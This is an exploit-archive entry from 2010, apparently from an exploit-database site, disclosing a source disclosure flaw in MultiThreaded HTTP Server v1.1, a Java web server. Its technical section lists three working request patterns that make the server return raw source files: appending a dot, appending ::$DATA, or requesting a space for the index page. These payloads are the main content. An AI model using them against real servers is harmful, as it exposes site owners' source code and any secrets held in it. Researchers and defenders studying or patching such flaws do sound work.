MultiThreaded HTTP Server v1.1 Source Disclosure

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : MultiThreaded HTTP Server v1.1 Source Disclosure
# Published : 2010-04-20
# Author : Dr_IDE
# Previous Title : MultiThreaded HTTP Server v1.1 Directory Traversal
# Next Title : Mongoose Web Server v2.8 Multiple Directory Traversal Exploits

################################################################
#
# Exploit Title: MultiThreaded HTTP Server v1.1 Source Disclosure
# Found By:     Dr_IDE
# Date:         Apr. 20, 2010
# Download:     http://voxel.dl.sourceforge.net/project/http/version1.1/%5BUnnamed%20release%5D/HTTPProject_fat.jar
# Tested on:    Windows 7
#
################################################################

- Description -

MultiThreaded HTTP Server v1.1 is a Java based HTTP server. This is the latest
version of the application available.

MultiThreaded HTTP Server is vulnerable to remote source disclosure attacks.

- Technical Details -
http://[ webserver IP][:port]/[ file ][.]
http://[ webserver IP][:port]/[ file ][::$DATA]
http://[ webserver IP][:port]/[space] (Weird, only works for default index page)

#[pocoftheday.blogspot.com]